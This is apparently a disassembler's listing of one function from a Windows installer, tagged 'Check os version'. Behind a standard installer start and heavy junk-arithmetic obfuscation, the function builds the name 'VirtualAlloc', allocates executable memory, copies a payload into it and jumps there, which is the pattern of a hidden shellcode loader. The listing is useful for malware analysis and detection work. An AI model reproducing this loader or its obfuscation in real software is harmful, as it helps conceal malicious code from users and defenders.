Function at 0x403640
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3f4
push ebx
push esi
push edi
push 0x20
pop edi
xor ebx, ebx
push 0x8001
mov dword [ebp - 0x14], ebx
mov dword [ebp - 4], str.Error_writing_temporary_file._Make_sure_your_temp_folder_is_valid.
mov dword [ebp - 0x10], ebx
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
mov esi, dword [sym.imp.KERNEL32.dll_GetVersionExW]
lea eax, [ebp - 0x140]
push eax
mov dword [ebp - 0x12c], ebx
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x140], 0x11c
call esi
test eax, eax
jne 0x4036ca
lea eax, [ebp - 0x140]
mov dword [ebp - 0x140], 0x114
push eax
call esi
mov ax, word [ebp - 0x12c]
mov ecx, dword [ebp - 0x112]
sub ax, 0x53
add ecx, 0xffffffd0
neg ax
sbb eax, eax
mov byte [ebp - 0x26], 4
not eax
and eax, ecx
mov word [ebp - 0x2c], ax
cmp dword [ebp - 0x13c], 0xa
jae 0x4036db
and word [ebp - 0x132], 0
mov eax, dword [ebp - 0x134]
movzx ecx, byte [ebp - 0x138]
mov dword [0x42a318], eax
xor eax, eax
mov ah, byte [ebp - 0x13c]
movzx eax, ax
or eax, ecx
xor ecx, ecx
mov ch, byte [ebp - 0x2c]
movzx ecx, cx
shl eax, 0x10
or eax, ecx
movzx ecx, byte [ebp - 0x26]
or eax, ecx
mov dword [0x42a31c], eax
cmp word [0x42a31e], 0x600
je 0x40372e
adc dword [ebx - 0x18], edx
adc dh, byte [ebx]
add byte [eax], al
push ebx
call fcn.00406a35
cmp eax, ebx
je 0x40372e
push 0xc00
call eax
mov esi, str.UXTHEME
push esi
call fcn.004069c5
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esi + eax + 1]
cmp byte [esi], 0
pushal
pushfd
or esi, edi
dec esi
mov eax, 0x10c5285f
and esi, edi
or esi, edi
sub ebx, eax
dec esi
add esi, eax
or esi, edi
dec edi
test eax, edi
jo 0x40371c
rol esi, 0x15
mov esi, eax
mov ecx, dword [0x40a4d4]
rol eax, 0x1d
mov ecx, 0x20b8eee8
rol esi, 0xa
or eax, 0xbbe5a0
add esi, 0x7b7d40c
not esi
sub esi, 0x8d135d0
xor eax, 0x259a6e8
mov ebx, ecx
xor edx, edi
rol eax, 0xc
not eax
mov ecx, dword [str.Error_launching_installer]
xor ebx, 0x1901a54
rol ecx, 0x16
xor ecx, eax
or ebx, 0x33de1a7
ror esi, 0x18
mov edx, dword [0x40a00c]
test ebx, edx
jo 0x4037cf
xor eax, 0x21d6988
and eax, 0xcdf9dee
mov ecx, 0x1413dc
inc esi
shr eax, 5
mov edx, dword [section..data]
xchg esi, eax
not esi
test eax, ecx
jo 0x4037f4
inc esi
neg esi
mov dword [0x42a9a8], 0xa91d700
rol esi, 0x12
call fcn.00402da5
shr eax, 2
call fcn.004023b7
loop 0x4037cf
invalid
xor ecx, dword [0x40a319]
mov esi, eax
mov esi, esp
xor edx, eax
mov edi, ebx
mov edx, dword [0x40a0f4]
mov dword [0x42a963], ecx
mov ecx, dword [0x40a1e6]
mov ecx, 0x70d540
call fcn.00405c48
ror edi, 7
call fcn.00405c48
inc esi
add dword [0x42a78e], edi
inc eax
call fcn.00405c48
rol eax, 0x1f
shl eax, 0xa
shr ebx, 0x11
add dword [0x42a964], 0x3e14af8
or edx, dword [section..data]
loop 0x403825
mov eax, ecx
xor esi, eax
add edx, 0x14a1c2fc
mov ecx, eax
or esi, 0xd7be2a4
xor esi, esp
mov ecx, 0xa69260
shl ebx, 0xa
mov dword [0x42a864], 0x7cf6a8
xchg edx, eax
mov dword [0x42a59d], ecx
rol eax, 0x14
dec eax
neg esi
shr ebx, 0x15
rol eax, 0xb
mov dword [0x42a6a8], ecx
loop 0x403873
ror edi, 1
mov edi, eax
add esi, eax
ror esi, 6
neg esi
and esi, edi
dec edi
and esi, edi
xor ecx, 0x5fe9c04
xor edx, 0x1968f7bf
not edx
dec esi
dec byte [edi + 0x21]
inc byte [ecx - 0x163fb0f]
add eax, 0xf7bff281
push 0x4ed2f719
call fcn.00405022
add edi, 0x1000b9e0
sub edi, esi
mov esi, eax
call fcn.004054d7
mov ebx, eax
and esi, edi
mov esi, 0x5e88410
shr eax, 0x10
mov ecx, esp
shr eax, 0x1e
shl esi, 0x1d
dec eax
call fcn.00405c48
test eax, esi
jo 0x4038a9
push str.KERNEL32.dll
rol esi, 0xd
sub edx, eax
ror edi, 0x1e
add esi, eax
ror eax, 2
xor ecx, dword [0x40a0a2]
ror eax, 0x17
add ebx, 0x673e5d6
xor ecx, dword [0x40a09c]
inc edx
call fcn.00402230
ror esi, 0x1b
not edx
call fcn.00405022
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
sub edi, dword [0x42af9a]
or dword [0x42a95d], ebx
not eax
xor ecx, edi
inc eax
add dword [0x42a3f2], 0x153f41f4
not esi
xor esi, dword [0x42ae48]
not esi
xor edx, ebp
ror edi, 0xb
sub edx, dword [0x42ab3c]
or dword [0x42a498], 0x716fac
xor esi, eax
call 0x403724
add eax, 0x7c3120
xor edx, dword [0x42ac30]
not esi
xchg ecx, eax
xor esi, eax
sub edi, dword [0x42ae55]
sub edx, 0x15bff760
add edx, 0x15bff760
xor esi, eax
xchg ecx, eax
not esi
sub eax, 0x7c3120
call fcn.00402822
xor esi, eax
mov dword [0x42a50a], 0x413485a
rol edi, 0xb
xor edx, ebp
not esi
not esi
dec eax
xor ecx, edi
not eax
add dword [0x42a556], edi
push 0
add esi, eax
dec eax
xor esi, 0xd45beee
xor dword [0x42a6a9], edi
xchg eax, edx
add dword [0x42a42c], ecx
call fcn.00405022
sub esi, eax
call fcn.004014c2
xor esi, eax
call fcn.00402a85
sub ebx, dword [0x42aa03]
neg esi
add dword [0x42a454], esi
xor esi, eax
xor ebx, esi
sub edi, eax
xchg edi, eax
dec esi
xor dword [0x42a42e], ecx
xor dword [0x42a6f3], edi
inc esi
xchg edi, eax
add edi, eax
xor ebx, esi
xor esi, eax
neg esi
call fcn.00406427
xor esi, eax
add esi, eax
call fcn.00401fe0
sub dword [0x42a4b0], ecx
xchg eax, edx
xor dword [0x42a3ac], ecx
xor esi, 0xd45beee
inc eax
sub esi, eax
push 0x636f6c6c
xchg edx, eax
or dword [0x42a7d6], 0x216908d0
xor ebx, dword [0x42ad0e]
rol esi, 0x1a
call fcn.00403472
add edi, eax
xor ecx, dword [0x42af32]
xor eax, esp
xchg ecx, eax
sub esi, dword [0x42af6e]
xor eax, edi
add esi, 0x25674b50
xor edx, esi
xor edx, esi
sub esi, 0x25674b50
xor eax, edi
xchg ecx, eax
xor eax, esp
sub edi, eax
call fcn.00402822
ror esi, 0x1a
mov dword [0x42a8d5], 0x1771c4a4
xchg edx, eax
push 0x416c6175
xor ebx, dword [0x42ab10]
not esi
sub ecx, dword [0x42af44]
xor ebx, ecx
call fcn.00405022
not eax
sub edx, esp
or dword [0x42a772], esi
xor ecx, dword [0x42add2]
xor ebx, dword [0x42ad4c]
sub dword [0x42a49d], ecx
xor ecx, dword [0x42ae18]
call fcn.004014c2
call fcn.00405c47
mov dword [0x42a433], ecx
add edx, esp
not eax
call fcn.00405022
xor ebx, ecx
not esi
push 0x74726956
add eax, ecx
ror eax, 0xf
dec esi
not esi
mov dword [0x42a520], edi
sub edi, esp
xor dword [0x42a418], edx
xor esi, eax
not ebx
ror ecx, 4
xor edx, 0x19399e0
sub edi, dword [0x42aae4]
xor ecx, 0x1b237702
xor dword [0x42a98f], edx
call fcn.004054d7
xor ecx, 0x1b237702
xor edx, 0x19399e0
rol ecx, 4
not ebx
xor esi, eax
mov dword [0x42a8ea], edi
add edi, esp
not esi
inc esi
rol eax, 0xf
sub eax, ecx
push esp
xor ecx, esp
sub esi, 0x24fc4404
xor esi, eax
xor ecx, esp
and dword [0x42a3e9], ebx
xor edi, dword [0x42aa27]
xor esi, eax
neg esi
add ecx, dword [0x42af54]
xor ecx, eax
xchg esi, eax
ror esi, 0x1f
dec eax
add eax, ebx
sub eax, ebx
inc eax
rol esi, 0x1f
xchg esi, eax
xor ecx, eax
neg esi
xor esi, eax
or dword [0x42a878], ecx
xor ecx, esp
xor esi, eax
add esi, 0x24fc4404
xor ecx, esp
push eax
neg ecx
dec eax
call fcn.00401fe0
sub dword [0x42a72a], 0x1a5bc88e
dec eax
sub edx, dword [0x42abdb]
xor esi, eax
ror esi, 0xf
add esi, 0x10b7b258
sub esi, eax
call fcn.00406427
xchg eax, edx
ror ebx, 8
xor esi, ebp
sub dword [0x42a3c4], ecx
not eax
rol ebx, 0x18
xchg eax, edx
xchg eax, edx
ror ebx, 0x18
not eax
mov dword [0x42a81c], esi
xor esi, ebp
rol ebx, 8
xchg eax, edx
call fcn.00402a85
add esi, eax
sub esi, 0x10b7b258
rol esi, 0xf
xor esi, eax
inc eax
mov dword [0x42a8e7], 0x596a24
call fcn.00405d87
inc eax
neg ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
xor ecx, eax
sub eax, 0x24679e0
sub ecx, dword [0x42ab80]
sub edi, dword [0x42aa7c]
mov dword [0x42a5f4], edx
xor ebx, dword [0x42ac2a]
xor esi, ebp
xor dword [0x42a464], edx
add ecx, dword [0x42af6e]
or dword [0x42a5b4], edi
call fcn.00403150
xchg esi, esi
xor eax, ebx
mov dword [0x42a696], edi
sub edx, dword [0x42ab8a]
sub dword [0x42a715], ecx
xor ecx, dword [0x42aed8]
add esi, eax
xor eax, 0x26446026
xor eax, 0x26446026
sub esi, eax
sub dword [0x42a771], edx
xor eax, ebx
xchg esi, esi
call fcn.00402822
mov dword [0x42a89f], ebx
xor esi, ebp
add eax, 0x24679e0
xor ecx, eax
add esp, 0x10
neg edi
sub dword [0x42a6f1], 0x9029c94
add cl, byte [ecx]
mov dword [0x42a49c], esi
xor esi, eax
xor esi, eax
neg eax
call fcn.00401fe0
mov dword [0x42a588], ecx
xor dword [0x42a4fe], 0x2c7a8678
xor edx, esi
call fcn.00401e30
call fcn.00402066
xor edx, esi
or dword [0x42a741], 0xf447339
neg eax
xor esi, eax
xor esi, eax
sub dword [0x42a718], esi
xor dword [0x42a4fc], 0x1aae1270
neg edi
push 0x40
sub edx, ebx
rol eax, 0x1c
xchg esi, edx
mov dword [0x42a4d0], edx
neg edx
xor ebx, edx
sub ecx, esi
ror ebx, 0x11
xor edx, dword [0x42afa9]
xor ecx, esi
sub esi, 0xa9ff470
rol esi, 0x13
xor ecx, dword [0x42ad06]
neg esi
add esi, 0x3c60ed70
xor esi, dword [0x42aa7c]
sub esi, 0x3c60ed70
neg esi
ror esi, 0x13
add esi, 0xa9ff470
xor ecx, esi
rol ebx, 0x11
add ecx, esi
xor ebx, edx
neg edx
add dword [0x42a7f1], edi
xchg esi, edx
ror eax, 0x1c
add edx, ebx
push 0x3000
or dword [0x42a3de], esi
rol eax, 0x14
not ebx
xor esi, 0x23f18c4f
xor ecx, edi
sub ebx, dword [0x42abee]
ror esi, 0xf
xchg esi, eax
ror esi, 2
add esi, edi
xor eax, 0x7094a
mov dword [0x42a6f0], ecx
sub dword [0x42a7b4], ecx
xor eax, 0x7094a
sub esi, edi
rol esi, 2
xchg esi, eax
rol esi, 0xf
xor ecx, edi
xor esi, 0x23f18c4f
not ebx
ror eax, 0x14
mov dword [0x42a8f5], esi
push 0x8af
sub edi, dword [0x42a9d6]
sub esi, 0x25a3c50b
not esi
call fcn.00405d87
sub esi, dword [0x42aa67]
xor edx, dword [0x42af3a]
mov dword [0x42a556], 0x28d0baaa
dec esi
call fcn.004014c2
sub eax, esi
call fcn.00403472
ror esi, 9
neg esi
sub ecx, dword [0x42aba0]
inc esi
sub edi, dword [0x42af1e]
inc eax
dec eax
dec esi
neg esi
rol esi, 9
add eax, esi
call fcn.0040363f
inc esi
call fcn.004054d7
not esi
add esi, 0x25a3c50b
push 0
ror eax, 0xd
not edx
and dword [0x42a500], ecx
sub ecx, dword [0x42afae]
or dword [0x42a7f8], 0x11550000
rol eax, 0x1c
add dword [0x42a5d7], edi
xor ecx, dword [0x42aa90]
or dword [0x42a900], esi
xor esi, eax
ror esi, 8
call fcn.00402230
xor esi, 0x1ea577f1
call fcn.004014c2
not eax
inc esi
dec esi
not eax
call fcn.00405022
xor esi, 0x1ea577f1
call fcn.00401fe0
rol esi, 8
xor esi, eax
or dword [0x42a968], edx
or dword [0x42a804], esi
ror eax, 0x1c
mov dword [0x42a6dc], edx
not edx
rol eax, 0xd
call eax
xor esi, 0x16d61828
xchg edx, eax
neg eax
rol ebx, 0x15
xchg eax, eax
xor edx, esi
dec edx
neg eax
call 0x403724
xor ecx, dword [0x42aa72]
mov dword [0x42a3a4], 0xc704a48
sub esi, 0x3389142
or dword [0x42a525], 0xcdb4470
not edx
not edx
add esi, 0x3389142
mov dword [0x42a43c], 0x9351674
call fcn.00402066
neg eax
inc edx
xor edx, esi
xchg eax, eax
ror ebx, 0x15
neg eax
xchg edx, eax
xor esi, 0x16d61828
call 0x403f20
sub edi, dword [0x42ad80]
call fcn.00405022
xor ecx, 0xab4b240
dec eax
sub edi, dword [0x42afc3]
sub esi, edi
call fcn.00405022
xor edi, ebx
rol eax, 0x1a
or dword [0x42a6b4], ecx
xor esi, 0xd322cd
xchg esi, esi
not esi
xor edx, ecx
call fcn.00402822
xor ebx, eax
mov dword [0x42a91b], edx
xor ebx, eax
xor ecx, dword [0x42ad20]
sub edi, eax
sub esi, dword [0x42aa34]
call fcn.00402822
call fcn.00405d87
add edi, eax
xor ebx, eax
sub dword [0x42a4a4], esi
xor ebx, eax
call fcn.00403472
xor edx, ecx
not esi
xchg esi, esi
xor esi, 0xd322cd
ror eax, 0x1a
xor edi, ebx
add esi, edi
inc eax
xor ecx, 0xab4b240
pop esi
xor eax, 0x7b4be58
xor edi, dword [0x42ae32]
xor ebx, edi
mov dword [0x42a6a5], 0x1acd9841
add edx, dword [0x42aa50]
not esi
xor edx, dword [0x42a9d7]
neg eax
add edx, ecx
call fcn.00403626
xor esi, 0xdd4980e
dec eax
xor edi, edx
xor edi, edx
inc eax
xor esi, 0xdd4980e
call fcn.00405c47
sub edx, ecx
neg eax
not esi
and dword [0x42a3e6], 0x86c8610
xor ebx, edi
xor eax, 0x7b4be58
add esi, 0x312
xor esi, dword [0x42a9b4]
ror esi, 0xf
and dword [0x42a75c], edi
rol esi, 1
xor esi, eax
sub eax, ebx
mov dword [0x42a810], ecx
call fcn.00405022
inc eax
call fcn.00406427
not eax
rol esi, 0x19
sub edx, 0xd2c749c
add esi, 0x92d1286
xor ebx, dword [0x42afd4]
mov dword [0x42a766], ecx
neg eax
inc eax
add ebx, ecx
sub dword [0x42a404], esi
not ebx
not ebx
sub ebx, ecx
dec eax
neg eax
mov dword [0x42a6ec], edx
sub esi, 0x92d1286
add edx, 0xd2c749c
ror esi, 0x19
not eax
dec eax
call fcn.004054d7
add dword [0x42a47a], edx
add eax, ebx
xor esi, eax
ror esi, 1
or dword [0x42a884], ebx
rol esi, 0xf
mov edi, eax
xor esi, 0x125960bc
rol esi, 0xb
call fcn.0040302d
sub edx, dword [0x42ab94]
inc esi
add esi, eax
not edi
dec esi
not edi
xor edx, eax
mov dword [0x42a7f9], 0x2d24c82a
neg esi
rol esi, 0x1d
ror esi, 0x1d
neg esi
xor edx, eax
not edi
inc esi
not edi
sub esi, eax
dec esi
call fcn.00405022
ror esi, 0xb
xor esi, 0x125960bc
mov ecx, 0x8af
mov dword [0x42a4b8], ecx
xor ebx, 0x502ca83
ror eax, 0xf
not eax
add esi, eax
inc ecx
xor ebx, esi
sub eax, 0x1329a43a
sub esi, dword [0x42ad4c]
call fcn.0040260f
not esi
ror esi, 0x1d
inc eax
xor ebx, edx
inc eax
xor esi, 0x82f6e48
not edi
sub edx, esp
rol ebx, 0x1b
xor edx, dword [0x42abd4]
mov dword [0x42a3b9], 0x3758f18
xor dword [0x42a4b8], 0x29761212
ror ebx, 0x1b
add edx, esp
not edi
xor esi, 0x82f6e48
dec eax
xor ebx, edx
dec eax
rol esi, 0x1d
not esi
add eax, 0x1329a43a
xor ebx, esi
dec ecx
sub esi, eax
not eax
rol eax, 0xf
xor ebx, 0x502ca83
rep movsb byte es:[edi], byte [esi]
call fcn.00401fe0
or dword [0x42a95c], ecx
xor edi, dword [0x42aea0]
xor ebx, dword [0x42aa88]
call fcn.00402a85
sub ecx, ebp
call fcn.00405a8c
add edi, 0x20ba7e25
call fcn.00406e4a
add ecx, dword [0x42ab58]
not eax
dec esi
ror eax, 0x13
call fcn.00402b5d
or dword [0x42a898], 0x252f44b
xchg esi, eax
sub ecx, dword [0x42ad31]
not edx
call fcn.00405022
xor ecx, dword [0x42abd0]
call fcn.00405022
sub edx, dword [0x42af30]
call fcn.00406427
not edx
xchg esi, eax
sub dword [0x42a6e4], 0x13677cb4
rol eax, 0x13
inc esi
not eax
call fcn.004014c2
sub edi, 0x20ba7e25
add ecx, ebp
call fcn.004054d7
xor dword [0x42a94d], ecx
jmp eax